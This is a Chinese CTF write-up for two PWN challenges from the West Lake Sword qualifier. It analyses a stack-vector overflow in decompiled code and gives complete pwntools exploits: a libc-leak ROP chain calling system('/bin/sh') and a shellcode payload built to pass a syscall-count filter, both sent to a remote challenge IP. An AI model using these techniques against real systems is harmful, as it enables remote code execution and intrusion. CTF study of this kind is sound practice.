第八届西湖论剑初赛PWN题部分题解

devtools/2025/1/19 22:06:47/

PWN_Vpwn_0">PWN Vpwn

下载附件,里面两个文件一个Vpwn,一个库文件,先check一下Vpwn文件看看

64位保护全开,拖进IDA中进行分析,查看main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{int v3; // ebxint v5; // [rsp+8h] [rbp-68h] BYREFint v6; // [rsp+Ch] [rbp-64h] BYREFunsigned __int64 v7; // [rsp+10h] [rbp-60h] BYREFchar v8[40]; // [rsp+30h] [rbp-40h] BYREFunsigned __int64 v9; // [rsp+58h] [rbp-18h]v9 = __readfsqword(0x28u);  // 栈保护机制(Canary)setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);sub_1840((__int64)v8);  // 初始化向量while ( 1 ){// 打印菜单std::operator<<<std::char_traits<char>>(&std::cout, "\nMenu:\n");std::operator<<<std::char_traits<char>>(&std::cout, "1. Edit an element in the vector\n");std::operator<<<std::char_traits<char>>(&std::cout, "2. Push a new element\n");std::operator<<<std::char_traits<char>>(&std::cout, "3. Pop the last element\n");std::operator<<<std::char_traits<char>>(&std::cout, "4. Print vector\n");std::operator<<<std::char_traits<char>>(&std::cout, "5. Exit\n");std::operator<<<std::char_traits<char>>(&std::cout, "Enter your choice: ");std::istream::operator>>(&std::cin, &v5);  // 读取用户选择switch ( v5 ){case 1:  // 编辑元素std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): ");std::istream::operator>>(&std::cin, &v7);  // 读取索引std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: ");std::istream::operator>>(&std::cin, &v6);  // 读取新值v3 = v6;*(_DWORD *)sub_185C((__int64)v8, v7) = v3;  // 修改元素std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n");break;case 2:  // 推入元素std::operator<<<std::char_traits<char>>(&std::cout, "Enter the value to push: ");std::istream::operator>>(&std::cin, &v7);  // 读取值sub_18F4((__int64)v8, (int *)&v7);  // 推入元素std::operator<<<std::char_traits<char>>(&std::cout, "Element pushed successfully.\n");break;case 3:  // 弹出元素sub_1928((__int64)v8);  // 弹出元素std::operator<<<std::char_traits<char>>(&std::cout, "Last element popped successfully.\n");break;case 4:  // 打印向量sub_19BC((__int64)v8);  // 打印向量内容break;case 5:  // 退出程序std::operator<<<std::char_traits<char>>(&std::cout, "Exiting program.\n");return 0LL;default:std::operator<<<std::char_traits<char>>(&std::cout, "Invalid choice! Please enter a valid option.\n");break;}}
}

大致可以得出程序的基本功能 通过菜单选项来操作一个向量(StackVector)。主要功能包括:编辑元素,推入元素,弹出元素,打印向量,退出程序

跟进一下sub_1840 函数(是初始化向量)

函数初始化向量,将向量的大小设置为 0。

接着看其他功能函数sub_185C 函数(编辑元素)

简要分析一下

__int64 __fastcall sub_185C(__int64 a1, unsigned __int64 a2)
{std::out_of_range *exception; // rbxif ( a2 >= *(_QWORD *)(a1 + 24) )  // 检查索引是否越界{exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);std::out_of_range::out_of_range(exception, "Index out of range");__cxa_throw(exception,(struct type_info *)&`typeinfo for'std::out_of_range,(void (__fastcall *)(void *))&std::out_of_range::~out_of_range);}return 4 * a2 + a1;  // 返回元素地址
}

函数主要用于编辑向量中的元素,虽然函数检查了索引是否越界,但如果索引为负数,会导致未定义行为。没什么用接着跟进其他功能函数sub_18F4 函数(推入元素)

分析一下,发现漏洞点

__int64 __fastcall sub_18F4(__int64 a1, int *a2)
{int v2; // ecx__int64 result; // raxv2 = *a2;result = *(_QWORD *)(a1 + 24);  // 获取当前大小*(_QWORD *)(a1 + 24) = result + 1;  // 增加大小*(_DWORD *)(a1 + 4 * result) = v2;  // 写入新元素return result;
}

用于向向量中推入一个新元素。没有检查向量是否已满,导致堆栈溢出。

接着分析,跟进下sub_1928 函数

分析一下

__int64 __fastcall sub_1928(__int64 a1)
{std::out_of_range *exception; // rbx__int64 result; // raxif ( !*(_QWORD *)(a1 + 24) )  // 检查向量是否为空{exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);std::out_of_range::out_of_range(exception, "StackVector is empty");__cxa_throw(exception,(struct type_info *)&`typeinfo for'std::out_of_range,(void (__fastcall *)(void *))&std::out_of_range::~out_of_range);}result = a1;--*(_QWORD *)(a1 + 24);  // 减少大小return result;
}

函数主要从向量中弹出最后一个元素。没有释放内存,可能会内存泄漏。

分析下最后一个功能函数sub_19BC 函数

分析一下

__int64 __fastcall sub_19BC(__int64 a1)
{__int64 v1; // raxunsigned __int64 i; // [rsp+18h] [rbp-8h]std::operator<<<std::char_traits<char>>(&std::cout, "StackVector contents: ");for ( i = 0LL; i < *(_QWORD *)(a1 + 24); ++i )  // 遍历向量{v1 = std::ostream::operator<<(&std::cout, *(unsigned int *)(a1 + 4 * i));  // 打印元素std::operator<<<std::char_traits<char>>(v1, " ");}return std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
}

函数实现了打印向量中的所有元素,但是没有检查向量大小,可以越界访问,

分析完了总结下漏洞点

sub_18F4 函数中,推入元素时没有检查向量是否已满,可能导致堆栈溢出。在 sub_185C 函数中,索引为负数时可能导致未定义行为。通过打印向量内容,可以泄露堆栈上的数据,包括 libc 地址。通过编辑向量中的元素,可以构造 ROP 链,利用 libc 中的函数(如 system)来执行任意命令。

确定下思路开始编写exp

首先先推入多个元素,使向量中存储堆栈上的数据,打印向量内容,获取 libc 地址,然后计算下libc基地址,然后构造ROP链,分别计算 system/bin/shpop_rdi 的地址在ROP链中构造出system(“/bin/sh”),通过编辑功能将ROP链写入,最后选择退出程序,触发 ROP 链的执行。获取shell

开始编写exp

完整exp如下:

from pwn import *
libc = ELF('./libc.so.6')
io = remote('139.155.126.78', 17615)
def command(option):io.sendlineafter(b'choice', str(option).encode())
def edit(idx, content=b'1'):command(1)io.recvuntil(b'edit')io.sendline(str(idx).encode())io.recvuntil(b'value')io.sendline(str(content).encode())
def dword_data(data, half):if half == 0:tmp = data & 0xffffffffelse:tmp = (data >> 32) & 0xffffffffif tmp > 0x7FFFFFFF:tmp -= 2**32return tmp
for i in range(8):command(2)io.recvuntil(b'push')io.sendline(b'888')
command(4)
io.recvuntil(b'StackVector contents: ')
vector_data = io.recvuntil(b'\n').split(b' ')
libc_addr = (int(vector_data[19]) << 32) + (int(vector_data[18]) & 0xffffffff)
libcbase = libc_addr - 0x29d90
system = libcbase + libc.symbols['system']
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
pop_rdi = libcbase + 0x2a3e5
rop_index = 18
#构造ROP链
edit(rop_index, dword_data(pop_rdi + 1, 0)) 
edit(rop_index + 1, dword_data(pop_rdi + 1, 1))  
edit(rop_index + 2, dword_data(pop_rdi, 0)) 
edit(rop_index + 3, dword_data(pop_rdi, 1))  
edit(rop_index + 4, dword_data(str_bin_sh, 0))  
edit(rop_index + 5, dword_data(str_bin_sh, 1)) 
edit(rop_index + 6, dword_data(system, 0))  
edit(rop_index + 7, dword_data(system, 1))  
command(5)
io.interactive()


Heaven’s door

下载附件先check一下

img

64位部分保护开启,拖进IDA中进行分

分析主函数

img

调用 fork() 创建子进程。父进程:使用 mmap 分配一块内存(地址 0x10000,大小 0x1000)。从标准输入读取最多 0xC3 字节的数据到分配的内存中。调用 count_syscall_instructions 检查输入的数据中是否包含超过 2 个系统调用指令(syscallint 0x80)。如果系统调用指令超过 2 个,程序退出。否则,调用 sandbox 设置沙箱规则,并执行用户输入的代码。子进程:调用 made_in_heaven 输出一些字符串。

跟进分析一下sandbox 函数:

img

使用 prctl 设置沙箱规则,限制程序的行为(例如禁止创建新进程、禁止执行某些系统调用等)。

接着分析count_syscall_instructions 函数

img

检查用户输入的代码中是否包含系统调用指令(0x0F 0x050xCD 0x80

接着分析made_in_heaven 函数

img

输出一些字符串,模拟程序的行为

整个大开分析一下,程序限制了系统调用的数量(最多 2 个),构造一个 payload,确保其中的系统调用指令不超过 2 个,同时能够实现目标(例如获取 shell)。

思路确定编写脚本

from pwn import *context.arch = 'amd64'shellcode = asm(shellcraft.sh())syscall_count = shellcode.count(b'\x0f\x05')  
if syscall_count > 2:print("Shellcode contains too many syscalls!")exit(1)
print(f"Generated shellcode (syscall count: {syscall_count}):")
print(hexdump(shellcode))
io = remote('139.155.126.78', 32350)
io.send(shellcode)
io.interactive()

img

感兴趣的师傅可以试试题目附件:

通过网盘分享的文件:2025西湖论剑PWN
链接: https://pan.baidu.com/s/1e2l_7BNq1Bk02WlgUu2QkQ?pwd=1111 提取码: 1111
–来自百度网盘超级会员v3的分享


http://www.ppmy.cn/devtools/151923.html

相关文章

麒麟系统WPS提示字体缺失问题

在日常办公和学习中&#xff0c;WPS作为一款功能强大且易于操作的文档编辑软件&#xff0c;有时候在接收或打开他人发送的WPS文档时&#xff0c;也有可能会遇到系统提示缺少字体的尴尬情况。这不仅影响了文档的正常显示&#xff0c;还可能打乱原本的工作节奏。那么&#xff0c;…

单片机数码管动态显示

在学习 51 单片机的过程中&#xff0c;数码管动态显示是一个非常基础且重要的知识点。通过数码管&#xff0c;我们可以直观地展示数字、字符等信息&#xff0c;在很多电子设备中都有广泛应用&#xff0c;比如电子时钟、数字万用表等。本文将详细介绍 51 单片机数码管动态显示的…

海康MV-EB435i立体相机SDK安装(ROS 2)

文章目录 一、简介二、驱动配置小结 一、简介 MV-EB435i相机是一款低成本、小体积、配置全面的立体相机&#xff0c;凭借硬件级的深度图像处理方案&#xff0c;相机可在高性能输出的同时维持低功耗的水平。相机采用海康MV3D SDK&#xff0c;并提供跨平台支持&#xff0c;广泛应…

gitlab runner正常连接 提示 作业挂起中,等待进入队列 解决办法

方案1 作业挂起中,等待进入队列 重启gitlab-runner gitlab-runner stop gitlab-runner start gitlab-runner run方案2 启动 gitlab-runner 服务 gitlab-runner start成功启动如下 [rootdocserver home]# gitlab-runner start Runtime platform …

Linux 操作二:文件映射与文件状态

Linux 操作二&#xff1a;文件映射与文件状态查询 文件映射 ​ mmap是一种内存映射文件的方法&#xff0c;即将一个文件或者其它对象映射到进程的地址空间&#xff0c;实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一对映关系。实现这样的映射关系后&#xff0c;进程…

山石防火墙命令行配置示例

现网1台山石SG6000防火墙&#xff0c;配置都可以通过GUI实现。 但有一些配置在命令行下配置效率更高&#xff0c;比如在1个已有策略中添加1个host或端口。 下面的双引号可以不加 1 创建服务 1.1 单个端口 service "tcp-901"tcp dst-port 901 1.2 端口范围 servi…

电脑有两张网卡,如何实现同时访问外网和内网?

要是想让一台电脑用两张网卡&#xff0c;既能访问外网又能访问内网&#xff0c;那可以通过设置网络路由还有网卡的 IP 地址来达成。 检查一下网卡的连接 得保证电脑的两张网卡分别连到外网和内网的网络设备上&#xff0c;像路由器或者交换机啥的。 给网卡配上不一样的 IP 地…

如何在前端给视频进行去除绿幕并替换背景?-----Vue3!!

最近在做这个这项目奇店桶装水小程序V1.3.9安装包骑手端V2.0.1小程序前端 最近&#xff0c;我在进行前端开发时&#xff0c;遇到了一个难题“如何给前端的视频进行去除绿幕并替换背景”。这是一个“数字人项目”所需&#xff0c;我一直在冥思苦想。终于有了一个解决方法…